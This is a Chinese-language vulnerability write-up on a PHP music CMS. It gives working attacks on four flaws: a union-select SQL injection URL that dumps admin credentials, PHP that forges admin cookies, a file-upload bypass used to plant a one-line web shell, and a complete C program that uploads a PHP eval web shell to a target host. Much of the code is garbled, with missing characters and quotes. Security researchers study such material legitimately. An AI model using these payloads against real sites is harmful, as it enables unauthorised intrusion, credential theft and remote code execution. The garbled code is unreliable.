最近在阅读“前卫音乐V2.0BETA(20130709)版”代码的过程中,发现了多个漏洞,在此与大家分享。
/home/libs/common.php注入漏洞
在/home目录里有index.php文件,此文件无任何功能,只是包含了/home/libs/common.php,下面是存在问题的代码。
?php include_once(CSDJ_PATH./conn.php); ob_start(); //允许动作 $dos=array(down,index,dance,gd,gx,pick,reco,feed,pic,gbook,skin,blog); //获取变量 $usym=$_SERVER[HTTP_HOST]; $uall=explode(.,$usym); $p=CSRequest(op); $uid=CS_Request(uid); $id=CS_Request(id); //问题参数 $pages=CS_Request(pages); if(empty($uid))$uid=$uall[0]; $op=(!empty($op)in_array($op,$dos))?$op:index; if(empty($uid))exit(抱歉,会员UID为空,参数错误!); f($op==skin){ if(isset($_COOKIE[cd_name])){ $uid=$_COOKIE[cd_id]; }else{ eit(scriptwindow.location=http://.*******./i/login.php/script); } } global$db; $row=$db-getrow(Select*from.tname(user).wherecd_id=.$uid.);//代入查询 ? 代码中,$uid经过了CS_Request的处理,如果CS_Request没有过滤好,那么$uid就有 可能被带入下面的SQL语句进入查询,下面看下CS_Request的实现。 functionCS_Request($pi_strName,$pi_Def=,$pi_iType=CS_TXT) { if(isset($_GET[$pi_strName])) $t_Val=trim($_GET[$pi_strName]); elseif(isset($_POST[$pi_strName])) $_Val=trim($_POST[$pi_strName]); lse return$pi_Def; //这里是数字型参数的过滤 if(CS_INT==$pi_iType) { if(is_numeric($t_Val)) return$t_Val; else return$pi_Def; } //String $t_Val=str_replace(,,$t_Val); $t_Val=str_replace(,,$t_Val); $t_Val=str_replace(,,$t_Val); if(get_magic_quotes_gpc()) { $t_Val=str_replace(\\\,,$t_Val); $t_Val=str_replace(\\,,$t_Val); } else { $t_Val=str_replace(\,,$t_Val); $t_Val=str_replace(,,$t_Val); } return$t_Val; }
可以看到,CS_Request对数字型的过滤好了,对于字符型的参数,CS_Request过滤了、、、、’。
$uid是数字型的参数,本来应该过滤好的,但是代码中对CS_Request的调用方式不对,正确的应该为$uid=CS_Request(uid,0,CS_INT),作者的调 用方式为$uid=CS_Request(uid),等同于$uid作字符串的过滤。
对于字符串,CS_Request过滤了单、双引号,本来也应该安全的,但是SQL查询语句$row=$db-getrow(Select*from.tname (user).wherecd_id=.$uid.)却没有将$uid用单引号包含起来,安全语句应为$row=$db-getrow(Select*from.tname(user).wherecd_id=’.$uid.’ )。
提及如下的SQL注入语句即可,结果如图1所示。
http://127.0.0.1/*******=1op=23and1=2unionselect1,2,3,concat (CD_AdminUserName,0x3c,0x3c,CD_AdminPassWord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41,42,43,44,45,46frommusicdj_adminimit0,1
/admin/admin_check.php权限绕过漏洞
上面的漏洞只是注入,还要破解MD5,这个漏洞则可以直接添加管理员。进入/admin目录,随便打开一个文件,都会调用函数admincheck(7),看名 字就知道,是用于检查权限的。Admincheck的实现在/admin/admin_ceck.php里。
functiondmincheck($CD_Permission){if($_COOKIE[CD_Permission]){ $menarr=explode(,,$_COOKIE[CD_Permission]); $adminlogined=False; for($i=0;$icount($menuarr);$i++){ if($meuarr[$i]==$CD_Permission){$adminlogined=True;}} if($dminlogined==False){AdminAlert(出错了,您没有进入本页面的权限!,,2);} }else{ AdminAlert(出错了,您没有进入本页面的权限!,,2);}} if(empty($_COOKIE[CD_AdminID])){ AdminAlert(您没有进入本页面的权限,本次操作已被记录!,admin_login.php,0); }elseif($_COOKIE[CD_Login]!=md5($_COOKIE[CD_AdminID].$_COOKIE[CD_AdminUserNa me].$_COOKIE[CD_AdminPassWord].$_COOKIE[CD_Permission])){ AdmnAlert(您没有进入本页面的权限,本次操作已被记录!,admin_login.php,0); } 这段代码只做两个检查: 1、$_COIE[CD_Permision]中某一项要跟传入的参数相匹配 2、$_COE[CD_Login]== md5($_COOKIE[CD_AdminID].$_COOKIE[CD_AdminUserName].$_COOKIE[CD_AdminPassWord].$_COOKIE[CD_Permission]) 以上两条都满足,就是管理员了,同时程序未对$_COOKIE做任何保护措施,能进后台就可以加管理,就可以上传。伪造利用firefox的tamperdata就行 了。 用于生成Cookie的代码如下: ?php $CD_Pemission=1,2,3,4,5,6,7,8,9,10,11;$CD_AdminID=1;$CD_AdminUserName=ywledoc;$CD_AdminPassWord=123; $CD_Login=md5($CD_AdminID.$CD_AdminUserName.$CD_AdminPassWord.$CD_Permission); echo CD_Perission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;CD_ AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=.$CD_Login.br; ? 最终生成的Cookie如下: CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1; CD_AdminUserName=ywledoc;CD_AdminPassord=123;CD_Login=5317e16c7b3f5b2b283d4818 32e5b309 替换后,访问/adin/ain_min.php
/admin/amin_mld.php任意文件上传漏洞(需GPCOFF)
利用上面那个漏洞,添加了一个管理员,登陆后开始这一步。我们先看看漏洞代码:
FunctionSave(){ $CD_Name=$_POST[FileName]; $CD_Path=$_POST[folder]; $CD_TempName=$_POST[tempname]; $D_Content=stripslashes($_POST[content]); $_Ext=substr(strrchr($CD_Name,.),1); $FileType=strtolower($F_Ext); if($FileType==htmor$FileType==htmlor$FileType==shtmlor$FileType==jsor $FileType==cssor$FileType==txt){ f(!$fp=fopen($CD_Path.$CD_Name,w)){ AdinAlert(出错了,文件.$CD_Path.$CD_Name.没有写入权限! ,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,1); } $ifile=newiFile($CD_Path.$CD_Name,w); $file-WriteFile($CD_Content,3); AdmnAlert(恭喜您,编辑模板文件成功! ,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,0); }else{ AdminAlert(出错了,操作已被禁止! ,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,1); } }
源码中if($FileType==htor$FileType==htmlor$FileType==shtmlor$FileType==jsor
$FileType==cssor$FileType==txt)会验证保存文件的后缀名,但是路径却是拼接出来的$CD_Path.$CD_Name,而且$CD_Path没有做任何验证,可以 直接传入%00进行截断,但%00是会被GPC转义,并且大多数网站都会打开GPC,所以这个漏洞有些鸡肋。
利用方法为访问
/admin/admin_mold.php?action=templistmpname=%C4%AC%C8%CF%C4%A3%B0%E6dir=../skin/index/9ku/,随便找一个模板进行编辑,写入一句话 木马,如图3所示。点击提交,并用tamperdata进行拦截,修改数据包如图4所示,得到的结果如图5所示。
/admin/inc/uplos.php任意文件上传漏洞(需register_globals为ON)
这套程序管理员用于上传的流程为
/admin/inc/upload.php-/admin/inc/upload/upladify.swf-/adin/inc/uplods.php,最终实现写文件是在最后一步。我们来 看/admin/inc/uploads.php的实现。
iclude../../include/conn.php; $d=SafeRequest(id,get); $action=SafeRequest(ac,get); sitch($action){ camusic: $targetFiles=../../upload/musicurl/.$id...fileext($_FILES[Filedata][name]); $fileexts=*.mp3;*.wma; $filetypes=歌曲文件; break; casemusicpic: $targetFiles=../../upload/musicpic/.$id...fileext($_FILES[Filedata][name]); $fileexts=*.jpg;*.gif; $filetypes=歌曲图片; break; casespecial: $targetFiles=../../upload/special/.$id...fileext($_FILES[Filedata][name]); $fileexts=*.jpg;*.gif; $filetypes=专辑图片; break; } f(!empty($_FILES)){ $tempFile=$_FILES[Filedata][tmp_name]; $targetFile=$targetFiles; //$targetPath=$_SERVER[DOCUMENT_ROOT].$_REQUEST[folder]./; //$targetFile=str_replace(//,/,$targetPath).$_FILES[Filedata][name]; $fileTypes =str_replace(*.,,$fileexts); $fileTypes =sr_replace(;,|,$fileTypes); $typesArray=split(\|,$fileTypes); =patinfo($_FILES[Filedata][name]); if(in_array($fileParts[extension],$typesArray)){ $fileParts //Uncommentthefolowinglineifyouwanttomakethedirectoryifitdoesnt exist //mkdir(str_rplace(//,/,$targetPath),0755,true); //setookie(targetFile,$targetFile,time()+86400,/); moe_uploaded_file($tempFile,$targetFile);
$fileexts用于确定允许上传的类型,$targetPath确定上传的路径,而这两者都取决于$action。如果输入一个不合理的$action值,那么 $targetPath、$fileexts都会变成未定义,在register_globals为ON的情况下,就可以通过$_POST直接给$targetPath、$fileexts赋值了。
有时也可以在register_globals为Off的情况下实现,但有一个条件,就是需要以下代码:
foreach(array(_COOKIE,_PST,_GET)as$_request){foreach($$_requestas$_key=
$_value){$_key{0}!=_$$_ky=daddslashes($_value);}}
这也是经典的全局变量覆盖漏洞代码。这里没有这段代码,只能依赖register_globals为on,同样register_globals一般都是off,所以这个漏洞 也有点鸡肋。练手,写了一段CPOST提交文件的代码,如下:
#includestdio.h #includeWinSock2.h #includeWindows.h #pragmacomment(lib,ws2_32) inmain(intargc,char*argv[]) { PVOID SOCKET int pBuff=NULL; hSock=INVALID_SOCKET; iResult=0; WADATAwsaData={0}; clientServer={0}; *pclientAddr={0}; sockaddr_in hostent iResult=WSAStartup(MAKEWORD(2,2),wsaData); if(iResult!=0) return0; do { f(argc!=3)break; pBuff=VirtualAlloc(NULL,0x200,MEM_COMMIT,PAGE_READWRITE); if(pBuff==NULL) break; sprintf((PCHAR)pBuff,POST/%s/admin/inc/uploads.phpHTTP/1.1\r\n Host:%s\r\n User-Agent:Mozilla/5.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Aept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n Accept-Encoding:gzip,deflate\r\n Conection:keep-alive\r\n Content-Type:multipart/form-data;boundary=--------------------------- 1681160893454\r\n Content-Length:539\r\n\r\n -----------------------------1681160893454\r\n Contnt-Disposition:form-data;name=\targetFiles\\r\n \r\n ../../upload/special/ywledoc.php\r\n -----------------------------1681160893454\r\n Contnt-Disposition:form-data;name=\fileexts\\r\n \r\n *.php\r\n -----------------------------1681160893454\r\n Content-Disposition:form-data;name=\Filedata\; filename=\yijuma.php\\r\n Content-Type:application/octet-stream\r\n \r\n ?phpeval($_POST[paxmac])?\r\n -----------------------------1681160893454\r\n Content-Disposition:form-data;name=\submit\\r\n \r\n Submit\r\n -----------------------------1681160893454--\r\n\r\n,argv[2],argv[1]); hSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(hSock==INVALID_SOCKET) break; clintServer.sin_family=AF_INET; clientServer.sin_port=htons(80); pclientAddr=gethostbyname(argv[1]); if(pclientAddr==NULL) { printf(网址解析错误,请检查输入!\n); break; } clintServer.sin_addr.s_addr=*((ULONG*)(pclientAddr-h_addr_list[0])); if(connect(hSock,(sockaddr*)clientServer,sizeof(sockaddr_in))!=0) { prntf(到服务器的连接被拒绝!\n); break; } send(hSock,(PCHAR)pBuff,strlen((PCHAR)pBuff),0); printf(执行完成,请查看 URL:%s%s/upload/special/ywledoc.php\n,argv[1],argv[2]); closecket(hSock); }while(FALSE); WSACleanup(); return0; }
这段代码执行后会在/upload/special/目录下生成ywledoc.php一,。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。
(完)